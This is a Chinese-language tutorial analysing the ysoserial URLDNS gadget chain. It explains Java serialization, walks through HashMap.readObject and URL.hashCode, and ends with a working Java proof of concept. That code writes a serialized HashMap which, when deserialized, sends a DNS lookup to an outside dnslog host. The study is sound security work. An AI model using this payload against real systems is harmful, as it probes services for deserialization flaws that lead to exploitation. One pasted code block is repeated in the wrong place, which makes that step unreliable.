java 安全ysoserial URLDNS利用鏈分析
JAVA序列化和反序列化的基本概念
在分析URLDNS之前,必須瞭解JAVA序列化和反序列化的基本概念。
其中幾個重要的概念:
需要讓某個對象支持序列化機制,就必須讓其類是可序列化,為瞭讓某類可序列化的,該類就必須實現如下兩個接口之一:
Serializable:標記接口,沒有方法
Externalizable:該接口有方法需要實現,一般不用這種
序列化對象時,默認將裡面所有屬性都進行序列化,但除瞭static或transient修飾的成員。
序列化具備可繼承性,也就是如果某類已經實現瞭序列化,則它的所有子類也已經默認實現瞭序列化。
序列化和反序列化的類
ObjectOutputStream:提供序列化功能
ObjectInputStream:提供反序列化功能
序列化方法:
.writeObject()
反序列化方法:
.readObject()
既然反序列化方法.readObject(),所以通常會在類中重寫該方法,為實現反序列化的時候自動執行。
簡單測試
public class Urldns implements Serializable { public static void main(String[] args) throws Exception { Urldns urldns = new Urldns(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt")); objectOutputStream.writeObject(urldns); } public void run(){ System.out.println("urldns run"); } private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { System.out.println("urldns readObject"); s.defaultReadObject(); } }
重寫的readobject方法
對這個測試類Urldns做序列化後,反序列化的時候執行瞭重寫的readobject方法。
import java.io.*; public class Serializable_run implements Serializable{ public void run(ObjectInputStream s) throws IOException, ClassNotFoundException { s.readObject(); } public static void main(String[] args) throws Exception { Serializable_run serializable_run = new Serializable_run(); serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt"))); } }
所以隻要對readobject方法做重寫就可以實現在反序列化該類的時候得到執行。
分析URLDNS的利用鏈
利用鏈的思路大致如此,那麼分析URLDNS的利用鏈。
public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; }
該類實際返回HashMap類型,但是HashMap用來用來存儲數據的數組是transient,序列化時忽略數據。
因為HashMap重寫瞭writeobject方法,在writeobject實現瞭對數據的序列化。
還存在重寫readobject方法,那麼分析readobject中的內容。
方法中遍歷key值執行putVal方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
觸發:
putVal(hash(key), key, value, false, false);
觸發:
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
這裡的key對象如果是URL對象,那麼就
觸發:URL類中的hashCode方法
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
觸發DNS請求:
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; }
在hashCode=-1的時候,可以觸發DNS請求,而hashCode私有屬性默認值為-1。
所以為瞭實現readobject方法的DNS請求,接下來要做的是:
1、制造一個HashMap對象,且key值為URL對象;
2、保持私有屬性hashcode為-1;
所以構造DNS請求的HashMap對象內容應該是:
public class Urldns implements Serializable { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz"); Class<?> aClass = Class.forName("java.net.URL"); Field hashCode = aClass.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); map.put(url, "xzjhlk"); hashCode.set(url,-1); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt")); objectOutputStream.writeObject(map); } }
至於為什麼在序列化的時候要通過反射將url對象中的hashCode屬性稍微非-1,是因為hashCode的put方法也實際調用的是putVal(hash(key), key, value, false, true);
這個過程將觸發一次DNS請求。
以上就是java 安全ysoserial URLDNS利用鏈分析的詳細內容,更多關於java 安全 ysoserial URLDNS的資料請關註WalkonNet其它相關文章!
推薦閱讀:
- 圖文詳解Java中的序列化機制
- java 安全 ysoserial CommonsCollections6 分析
- java序列化與反序列化的使用方法匯總
- Java序列化和反序列化示例介紹
- 一文搞懂Java中的序列化與反序列化